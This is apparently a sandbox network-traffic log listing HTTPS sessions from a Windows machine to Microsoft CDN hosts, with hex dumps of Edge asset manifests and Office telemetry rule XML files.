2024-11-24 03:20:48 UTC	562	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:48 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: c5064c42-c01e-0035-71d6-3dc652000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T032048Z-178bfbc474bgvl54hC1NYCsfuw000000058g00000000m7dw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:48 UTC	15822	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-24 03:20:48 UTC	16384	IN	Data Raw: 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 Data Ascii: 0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-24 03:20:48 UTC	16384	IN	Data Raw: 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-24 03:20:48 UTC	16384	IN	Data Raw: d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 Data Ascii: .7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-24 03:20:48 UTC	5233	IN	Data Raw: 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 Data Ascii: yVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49886	13.107.246.63	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:47 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:49 UTC	557	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:49 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 195b3162-801e-0054-421f-3e828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T032048Z-178bfbc474b7cbwqhC1NYC8z4n00000005a0000000009pcr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 03:20:49 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-24 03:20:49 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-11-24 03:20:49 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-24 03:20:49 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-24 03:20:49 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-24 03:20:49 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-24 03:20:49 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-24 03:20:49 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-24 03:20:49 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-24 03:20:49 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:48 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e2ff131b-f01e-0085-7676-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032049Z-174c587ffdfdwxdvhC1TEB1c4n00000003ug000000006gp6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:49 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:49 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032049Z-178bfbc474bscnbchC1NYCe7eg00000005k0000000007qhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:49 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" 